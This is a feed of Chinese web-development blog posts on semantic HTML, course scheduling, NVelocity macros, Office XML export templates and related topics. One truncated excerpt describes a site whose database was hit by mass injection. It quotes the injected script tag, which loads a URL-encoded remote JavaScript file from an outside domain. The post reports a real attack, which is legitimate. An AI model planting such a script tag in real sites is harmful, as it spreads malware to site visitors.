博客园_∠角络

前台开发之HTML定义语义化

2011-11-05T08:01:00Z

目的：搜索引擎看不到社觉效果，只能看到代码，通过标签判断内容的语义。通过语义化能让搜索引擎更好识别网页内容。

制作页面步骤：先确定HTML，确定语义的标签，再来选用合适的CSS。

如何确定网页语义是否良好？
去掉样式，看网页结构是否组织良好有序，是否仍然有很好的可读性。

语义化几个关键点：
1.每张网页都必须有一个h1来表示大标题，且一张网页里面只存在一个h1标记。
2.标题与内容
注：只有当页面内标签无法满足设计需要时，才会适当添加div和span等无语义标签来辅助实现。
(1).单标题内容

<div id="gy" >
<div >
<h2 >网易公司新闻</h2>
</div>
<div >
<ul >
<li ><a href="http://tech.163.com/11/1103/11/7HUD3AVS000915BF.html">网易企业邮获最高级安全认证</a></li>
…
</ul>
<ul >
<li><a href="http://media.163.com/">[传媒]</a> <a target="_blank" href="http://media.163.com/11/1104/10/7I0PG0JM00762H91.html">电视节目生存的底线</a></li>…
</ul>
</div>
</div>

(2).多标题内容

<h2 >
<span ><a href="http://book.163.com/special/vip_book/">原创</a></span>
<span ><a href="http://book.163.com/special/vip_book/">全本</a></span>
</h2>
<div >
<div >
<div >
<div >
<a href="http://data.book.163.com/book/home/009200260003/000BNZFL.html?wangshou1"><img src="http://img3.cache.netease.com/book/2011/11/5/20111105085539de923.jpg" alt="天书：神秘家族的字符" title="天书：神秘家族的字符" height="90" width="120" /><cite>天书：神秘家族的字符</cite></a>
</div>
<h3 ><a href="http://data.book.163.com/book/home/009200260001/000BNYbZ.html?wangshou1">无法呼吸：精神病院里的杀手</a></h3>
<ul >
<li><a href="http://data.book.163.com/book/home/009200260002/000BNZAV.html?wangshou1">[悬疑]诡闻档案：解密731部队</a></li>…
</ul>
</div>
<ul >
<li><a href="http://book.163.com/special/vip_book/?wangshou1">[网易原创]</a> <a target="_blank" href="http://data.book.163.com/book/home/009200260001/000BNYeO.html">冥间阴乐:民国农家棺中女尸离奇蒸发</a></li>…
</ul>
<ul >
<li><a href="http://book.163.com/special/minghun/?wangshou1"><em class='fB'>微活动</em></a> | <a target="_blank" href="http://book.163.com/special/minghun/">周德东《冥婚》拍电影你来选主角</a></li>…
</ul>
</div>
<div >
<div >
<div >
<a href="http://data.book.163.com/book/home/009200010002/000BIUGA.html"><img src="http://img6.cache.netease.com/book/2011/11/5/201111050939467f195.jpg" alt="罂粟美人的致命诱惑" title="罂粟美人的致命诱惑" height="90" width="120" /><cite>罂粟美人的致命诱惑</cite></a>
</div>
<h3 ><a href="http://data.book.163.com/book/home/009200010009/000BHVZQ.html">大禁地：凶杀案引出帝王陵寝</a></h3>
<ul >
<li><a href="http://data.book.163.com/book/home/009200010013/000BEKaV.html">权色：副省长对女色失去兴趣</a></li>…
</ul>
</div>
<ul >

<li><a href="http://t.163.com/zt/book/xyjd06"><em class='cBlack fB'>诡故事</em></a> |<a target="_blank" href="http://t.163.com/zt/book/xyjd06"> 悬疑基地第六期：镜中灵魂的另一面</a></li>…
</ul>
</div>
</div>
</div>

结合网易的代码，个人觉得像一般的标题和内容，理想结构应该是：
单标签
<div id=”news”>
<div class=”hd”><h2>标题</h2> 更多>></div>
<div class=”bd”>内容</div>
</div>
多标签
<div id=”news”>
<h2 class=”tab-hd”><span >体育< span > < span >娱乐</ span ></h2>
<div class=”hd tab-bd”>内容</div>
</div>

3.表单
(1).表单域要用filedset标签包起来，并用legend标签说明表单的用途。
(2).每个input标签对应的说明文本都需要使用label标签并且通过为input设置id属性，在label标签中设置for=”someid” 说明文本和相应的input关联起来
例：
<form action=”” method=””>
<fieldset>
<legend>登录表单</legend>
<p><label for=”username”>用户名</label><input type=”text” name=”username” id=”username/></p>
…
</filedset>
</form>
4.表格
作用：展示二维数据。
表格标题要用caption,表头要用thead包围，主体部分用tbody包围，尾部要用tfoot包围，表头和一般单无格要区分开，表头用th,一般单元格用td
例：
<table>
<caption>二维数据展示</caption>
<thead>
<th>标题</th> …
</thead>
<tbody>
<td>标题对应的内容</td>
</tbody>
<tfoot>
<td>底部相关信息</td>
</tfoot>
</table>

语义化标签注意的其它问题：
尽可能少地使用无语义标签div和span
在语义不明显的情况下，可用p和div，尽量用p，因为p默认情况下有上下间距，去样式后的可读性更好，对兼特殊终端有利
不要使用纯样式标签，例如b\font\u改用CSS设置。语义上需要强调的文本可以包在strong或em标签里。
附: 标签语义中英文对照表

标签名	英文全拼	中文翻译
a	anchor	锚
abbr	abbreviation	缩写词
acronym	acronym	取首字母的缩写词
address	address	地址
b	bold	粗体
big	big	变大
blockquote	block quotation	区块引用于
br	break	换行
caption	caption	标题
center	center	居中
dd	definition description	定义描述
del	delete	删除
div	division	分隔
dl	definition list	定义列表
dt	definition term	定义术语
em	emphasized	加重
fieldset	fieldset	域集
font	font	字体
h1~h6	header1~header6	标题1~标题6
hr	horizontal rule	水平尺
i	italic	斜体
ins	inserted	插入
legend	legend	图标
li	list item	列表项目
ol	ordered list	排序列表
p	paragraph	段落
pre	preformatted	预定义格式
s	strikethrough	删除线
small	small	变小
span	span	范围
strong	strong	加重
sub	subscripted	下表
sup	superscripted	上标
u	underlined	下划线
ul	unordered list	不排序列表
var	variable	变量

本文链接

职高中专的模块化课程设计难点

2011-11-02T00:45:00Z

前阵子在开发排课系统中，遇到了很多难点，一直排不出来，然后项目就一直死在那里了。最近抽了点时间想再拿出来弄弄，可难点依旧，现在遇到的最大问题就是他们的模块化课程的设计。

一、相关定义描述

1.模块化课程：指一个学期内通过一定周数内完成的若干个分阶段模块的课程。

2.模块化课程授课方式：模块化课程通常会有一个实训教室和最多三个教师授课，其中一个是主任老师，其余1-2位是辅助老师，也可以没有辅助老师，但是必须有主任课老师。

3.模块化课程冲突：教师同时上两门课，实训场地只能一个班级上或者是指定几个班级上。

4.排课流程：

1.名单录入（老师、教室、课程、班级）->2.1排课特征录入（老师、教师）

->2.2排课时间限制录入（老师、教室、课程、班级、模块课程）

->3.安排教学计划（根据班级安排课程、老师、教室）

注：下载模块课程请点击“模块课程示例”，该文件夹中存放的是模块课程的班级课表和教师课表示例。

二、问题描述及现有解决思路

假如有模块课程A,B,C,D,E,F,一学期共有18周，一周上两门模块课程

A课程完成教学周期为：6周，每周上课节数为12节

B课程完成教学周期为：6周，每周上课节数为12节

C课程完成教学周期为：2周，每周上课节数为12节

D课程完成教学周期为：8周，每周上课节数为12节

E课程完成教学周期为：8周，每周上课节数为12节

F课程完成教学周期为：6周，每周上课节数为12节

通过事先设定的名单和教学计划设得再根据现有的算法得到课表,"点击下载"

拆分周次算法示意：以下数字代表的是模块化课程的周数

示例1：

2 6 8 8 6 6

8 8(2 6 6 6) 先求一组中相同课时数的课程

2 6-2(4 6 6) 取最小值和最大值拆分

4 6-2 6-2 剩下三个需两两拆分

4 4

示例2：

5 6 7 8 10

5 10-5 (6,7,8,5)

5 8-5 (6,7,3)

3 6-1 7-2

5 5

示例3：

3 3 4 4 5 5 12

3 3 (4 4 5 5 12)

4 12-4 (4 5 5 8)

4 8-4 (5 5 4)

4 5-2 5-2

3 3

如果不检测老师和教室冲突，那么上述算法正好得到完成拆分周次。但现实中就不得不再去检测老师冲突和实训场地冲突，那么就势必就得把拆分好的课程再回溯拆分了，上例课表中，若：E课程在1-8周存在冲突，若第7周中有冲突（该课程的老师在其它处已经上课），那么就必须再重新安排到另外周次了，此时问题就出现了，拆分比想像中的要难很多，如果回溯将第二次以后课调换，使其后面正好安排没冲突，那么问题也就不会难了，可关键是如果和后面调换课程，又存在了冲突怎么办？是不是得再重新拆分周次了？

上次示例是排课一种，算法上感觉已经很难实现了，事实上在实际中又会遇到其它情况，比如：

A课程完成教学周期为：6周，每周上课节数为24节

B课程完成教学周期为：6周，每周上课节数为12节

C课程完成教学周期为：2周，每周上课节数为12节

D课程完成教学周期为：8周，每周上课节数为12节

E课程完成教学周期为：8周，每周上课节数为12节

以上24节课的其实就是上两门模块课程一样

还有一种更复杂的情况：假如我一周要安排三门模块化课程的时候又怎么处理？问题感觉越来越复杂了！

本文链接

vs2005 未能映射路径“/”

2010-07-07T08:56:00Z

未能映射路径“/”。
说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。

异常详细信息: System.InvalidOperationException: 未能映射路径“/”。

解决方法：
并非Server.MapPath的问题，是权限问题。
问题原因：我使用的是win7系统，在打开项目的时候，并非使用的是管理员身份。
解决方式：用管理员身份进入vs2005，为程序目录设置erveryone 的所有权限。---调试正常。

本文链接

NVelocity的宏使用

2010-07-07T08:47:00Z

一、NVelocity使用参数
示例：
  1.建立宏
   #macro( test $range $arrayList )
    ...
   #end
  2.调用宏
  #test([-9,-1] ["favorite", "color"])
通过以上示例，你只需要一个为每一个需要传递的参数提供了名称的#macro指令，这些参数用空格进行分隔。如上例中#macro( test $range $arrayList )“test”是宏名，$range $arrayList是参数。用"#"+宏名(参数1 参数2...)来调用宏。


二、NVelocity递归调用

嵌套，最简单的情况就是在NVelocity 中用到macro里调用另外一个macro，这是在实际代码开发中使用得最频繁的一种。递归，是一种特殊类型的嵌套，它是在NVelocity中的macro里调用自身，但这种情况并不太常见。

#macro( recurs $depth )
进入第 $depth 层<br/>

#set( $depth = $depth - 1 )

#if ( $depth > 0 )

#recurs( $depth )

#end

#set( $depth = $depth + 1 )

进入第 $depth 层<br/>

#end
#recurs( 3 )

执行结果：
   进入第 3 层
   进入第 2 层
   进入第 1 层
   进入第 1 层
   进入第 2 层
   进入第 3 层
注：在递归调用时，注意通常不要把一个对象的属性传为参数递归调用，上例中，如果$depth是一个对象的话，那么用#recurs( $depth.attribute)话，模板输出时候往往有问题，而且又查不出来，这里记录一下，忘以后不要出现这样的错误。究其原因，我想是由于是object类型，往往在调用时认不出对象的类型吧（暂时只能这样去理解了，没深层次去研究过）。

本文链接

小心使用“#”

2010-06-23T02:49:00Z

      最近因为程序中要加日志模块，所以就想用切面方式(AOP)解决这个问题，然而遇到了头痛的问题，就是日志老写两次，也不知道哪里出错了，开始以为框架哪里有问题，调试了很多次都找不到原因。后来索性写了一个测试页面，发现在没有任何html标记的页面居然只写了一次日志，所以排除了程序上的问题，开始找页面的问题了。

      页面一行行排查过来，最终发现了是一行“<a href="#"><img src="#" width="100" border="0" height="40" alt="#"/></a>”出了问题，那么为什么这行会出现问题呢？

      img标记的src属性规定插入的图像的url地址，也就是含路径的图像文件名。该属性值是和页面一起会向服务器有个请求，那么如果把src="#",页面就会再次请求当前页，导致页面执行两次。

      也不知道当初为啥会把src的属性设为#，可能是空链接用惯了，也没多想。在使用img中的src属性，包括css中的url(background-image等属性)请求如果设为#值的话，都会再试请求当前页面。所以在使用“#”值，切忌当心再当心，造成不必要的浪费。

本文链接

用xml模块方式导出多种offcie文件

2010-03-10T05:39:00Z

我们在开发网站时，有很大一部分人采用的是MVC模式，而V是代表视图，关于视图开发的语言，都有语法简单，开发迅速的特点，比如说velocity,jstl等等，而通常用这种语言写成的文件我们通常称其为模板。模板，从名字上可以得出，这是一种通用具有参照性的样板，所有的东西都是按照它的比例剪栽而成的。

在采用MVC方式开发html页时，因为html是普通文本表示的，我们就会用如下形式表html

1  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
2  <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="zh-CN" lang="zh-CN">
3  <head>
4   <title>#if($title) $title - #end xxx网</title>
5   <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
6   <meta http-equiv="Content-Language" content="cn"/>
7   <meta content="all" name="robots"/>
8   <meta name="author" content="mailto:netcorner@live.com%22/>
9   <meta name="copyright" content="http://www.xxx.com%22/>
10   <meta name="description" content="$!title"/>
11   <meta name="keywords" content="$!title"/>
12   <link rel="icon" href="$applicationPath/favicon.ico" type="image/x-icon"/>
13   <script src="$applicationPath/script/jquery1.3.2.js" type="text/javascript"></script>
14  </head>
15  <body>
16  #body()
17  </body>
18  </html>

通过上面的形式，我们程序就可以把以“${var}”形式的替换成我们想要的数据，而且处理起来很方便，页面和逻辑进行区分，但是对于我们的office文件(如excel,word的文件)应该怎么处理呢？因为他们不是文本的，所以通常情况下想要以excel或word文件模板像html一样做模板处理就相当困难了！那么有什么办法处理这种情况呢？

在开发过程中，我们会遇到很多情况是这样的：要导出数据，导出成excel、PDF、word形式的，有的如果想打印，也可以直接导出这几种形式，以方便用户打印。这几种情况在开发中是经常存的，对于开发OA时，这种情况遇到的就更多一些了。

那么有没有把像excel、word文档当成模板处理的呢？

其实有很多方式可以实现这种情况的，我知道的大致有这几种情况。

1.通过操作office类库，在程序中进行操作
  这种情况，得调用office类库，而且还得写不少代码。

2.用openxml代替office的二进制代码
  感觉很复杂，也不知道openxml文件是否支持office早期版本。

3.用office文件另存为xml形式来表示

例：
  我建立doc文件，在文档里面输入“aaaaaaaaaaaaaaaaa”，并别存为“XML文档(*.xml)”，当你直接打开这个xml文件是就是直接打开word文档了，而文档里面就是我输入的数据。用记事本打开刚才保存的xml文件，发现里面就是一个文本格式的。代码如下：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<w:wordDocument xmlns:w="http://schemas.microsoft.com/office/word/2003/wordml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:sl="http://schemas.microsoft.com/schemaLibrary/2003/core" xmlns:aml="http://schemas.microsoft.com/aml/2001/core" xmlns:wx="http://schemas.microsoft.com/office/word/2003/auxHint" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:dt="uuid:C2F41010-65B3-11d1-A29F-00AA00C14882" w:macrosPresent="no" w:embeddedObjPresent="no" w:ocxPresent="no" xml:space="preserve"><o:DocumentProperties><o:Title>aaaaaaaaaaaaaaaaa</o:Title><o:Author>netcorner</o:Author><o:LastAuthor>netcorner</o:LastAuthor><o:Revision>2</o:Revision><o:TotalTime>0</o:TotalTime><o:Created>2010-03-10T05:18:00Z</o:Created><o:LastSaved>2010-03-10T05:18:00Z</o:LastSaved><o:Pages>1</o:Pages><o:Words>2</o:Words><o:Characters>16</o:Characters><o:Lines>1</o:Lines><o:Paragraphs>1</o:Paragraphs><o:CharactersWithSpaces>17</o:CharactersWithSpaces><o:Version>11.6359</o:Version></o:DocumentProperties><w:fonts><w:defaultFonts w:ascii="Times New Roman" w:fareast="宋体" w:h-ansi="Times New Roman" w:cs="Times New Roman"/><w:font w:name="宋体"><w:altName w:val="SimSun"/><w:panose-1 w:val="02010600030101010101"/><w:charset w:val="86"/><w:family w:val="Auto"/><w:pitch w:val="variable"/><w:sig w:usb-0="00000003" w:usb-1="288F0000" w:usb-2="00000016" w:usb-3="00000000" w:csb-0="00040001" w:csb-1="00000000"/></w:font><w:font w:name="@宋体"><w:panose-1 w:val="02010600030101010101"/><w:charset w:val="86"/><w:family w:val="Auto"/><w:pitch w:val="variable"/><w:sig w:usb-0="00000003" w:usb-1="288F0000" w:usb-2="00000016" w:usb-3="00000000" w:csb-0="00040001" w:csb-1="00000000"/></w:font></w:fonts><w:styles><w:versionOfBuiltInStylenames w:val="4"/><w:latentStyles w:defLockedState="off" w:latentStyleCount="156"/><w:style w:type="paragraph" w:default="on" w:styleId="a"><w:name w:val="Normal"/><wx:uiName wx:val="正文"/><w:pPr><w:widowControl w:val="off"/><w:jc w:val="both"/></w:pPr><w:rPr><wx:font wx:val="Times New Roman"/><w:kern w:val="2"/><w:sz w:val="21"/><w:sz-cs w:val="24"/><w:lang w:val="EN-US" w:fareast="ZH-CN" w:bidi="AR-SA"/></w:rPr></w:style><w:style w:type="character" w:default="on" w:styleId="a0"><w:name w:val="Default Paragraph Font"/><wx:uiName wx:val="默认段落字体"/><w:semiHidden/></w:style><w:style w:type="table" w:default="on" w:styleId="a1"><w:name w:val="Normal Table"/><wx:uiName wx:val="普通表格"/><w:semiHidden/><w:rPr><wx:font wx:val="Times New Roman"/></w:rPr><w:tblPr><w:tblInd w:w="0" w:type="dxa"/><w:tblCellMar><w:top w:w="0" w:type="dxa"/><w:left w:w="108" w:type="dxa"/><w:bottom w:w="0" w:type="dxa"/><w:right w:w="108" w:type="dxa"/></w:tblCellMar></w:tblPr></w:style><w:style w:type="list" w:default="on" w:styleId="a2"><w:name w:val="No List"/><wx:uiName wx:val="无列表"/><w:semiHidden/></w:style></w:styles><w:docPr><w:view w:val="print"/><w:zoom w:percent="200"/><w:bordersDontSurroundHeader/><w:bordersDontSurroundFooter/><w:proofState w:spelling="clean" w:grammar="clean"/><w:attachedTemplate w:val=""/><w:defaultTabStop w:val="420"/><w:drawingGridVerticalSpacing w:val="156"/><w:displayHorizontalDrawingGridEvery w:val="0"/><w:displayVerticalDrawingGridEvery w:val="2"/><w:punctuationKerning/><w:characterSpacingControl w:val="CompressPunctuation"/><w:optimizeForBrowser/><w:validateAgainstSchema/><w:saveInvalidXML w:val="off"/><w:ignoreMixedContent w:val="off"/><w:alwaysShowPlaceholderText w:val="off"/><w:compat><w:spaceForUL/><w:balanceSingleByteDoubleByteWidth/><w:doNotLeaveBackslashAlone/><w:ulTrailSpace/><w:doNotExpandShiftReturn/><w:adjustLineHeightInTable/><w:breakWrappedTables/><w:snapToGridInCell/><w:wrapTextWithPunct/><w:useAsianBreakRules/><w:dontGrowAutofit/><w:useFELayout/></w:compat></w:docPr><w:body><wx:sect><w:p><w:pPr><w:rPr><w:rFonts w:hint="fareast"/></w:rPr></w:pPr><w:r><w:rPr><w:rFonts w:hint="fareast"/></w:rPr><w:t>aaaaaaaaaaaaaaaaa</w:t></w:r></w:p><w:sectPr><w:pgSz w:w="11906" w:h="16838"/><w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/><w:cols w:space="425"/><w:docGrid w:type="lines" w:line-pitch="312"/></w:sectPr></wx:sect></w:body></w:wordDocument>

而刚才输入的文字"aaaaaaaaaaaaaaaaa",就在其中。如果你需用用变量，那么就可以用变量替换了。

那么程序应该如何处理该文档呢？

其实处理方式和MVC中处理html一样的，只是把这个office的xml文档当作html模板处理并，在程序端另存为文档时也得处理一下，如下列代码：

1             HttpContext.Current.Response.AppendHeader("Content-Disposition", "attachment;filename=Word.doc");
2             HttpContext.Current.Response.Charset = "UTF-8";
3             HttpContext.Current.Response.ContentEncoding = System.Text.Encoding.UTF8;
4             HttpContext.Current.Response.ContentType = "text/xml";
5             HttpContext.Current.Response.Write(TemplateProcess.Output(MyContext, "/layout/include/" + this.MethodName));//模板处理的office模板文本代码
6             HttpContext.Current.Response.End();

通过上面形式，就可以把office文件当作文本模板导出office可以正常显示读取的word或excel文件了。

本文链接

关于SEO优化方案(网上整理的资料)

2009-12-30T05:44:00Z

1.title标签网站标题一般格式：文章名 – 分类名 – 网站名如果太长的话，就只要文章名 – 网站名搜索引擎只考虑标题标签中有限的字数，比如说前十到前十五个字。所以很长的充满关键词的title tag，只能使你的网站看起来更像垃圾。2.meta标签标题标签不要超过十到十二个字。描述标签也不要超过三十到三十五个字。关键词标签只要列出确实和你的网站有关的...

js插件类库组织与管理

2009-08-25T05:53:00Z

testjs插件类库组织与管理在开发一个较大规模的网站，js插件类库应用的是相当多。那么自然在一个页面里就存在不少script和script相关的link标记，这样js组织与管理自然成了一大问题。先举个例子，比如jquery插件中的calendar在一个页面中就得有如下代码<style type="text/css">@import ""script/calendar/jquery.d...

关于注入(css/c.js)

2008-12-29T07:03:00Z

这几天朋友的网站天天被搞破坏的人恶意注入，也许是程序没写好的原因，数据库每个字段加了一段script（<Script Src=http://%63%2Enuclear3.com/css/c.js></Script>，而这个script地址时不时的有变化）。用一些搜索引擎搜索下：/css/c.js></Script>，发现好多网站居然都有这个问题。通过iis...

Web开发中你注意这些前台开发问题了吗？(前台构架篇)

2008-08-04T04:35:00Z

Web2.0带给我们更好的用户体验和更炫更酷的效果，javascript，flash, Silverlight都是跃跃欲试。目前应用最多的还是javascript,所以你会经常看到很多web2.0网站有n多的js和css，这时管理这些文件和如此多的代码怎么提性能提升的问题也来了。以下就来讲讲我目前想到的一些问题吧。 1．js和css引用时如何做到让请求进行并发下载。我们通过firebug，就会发...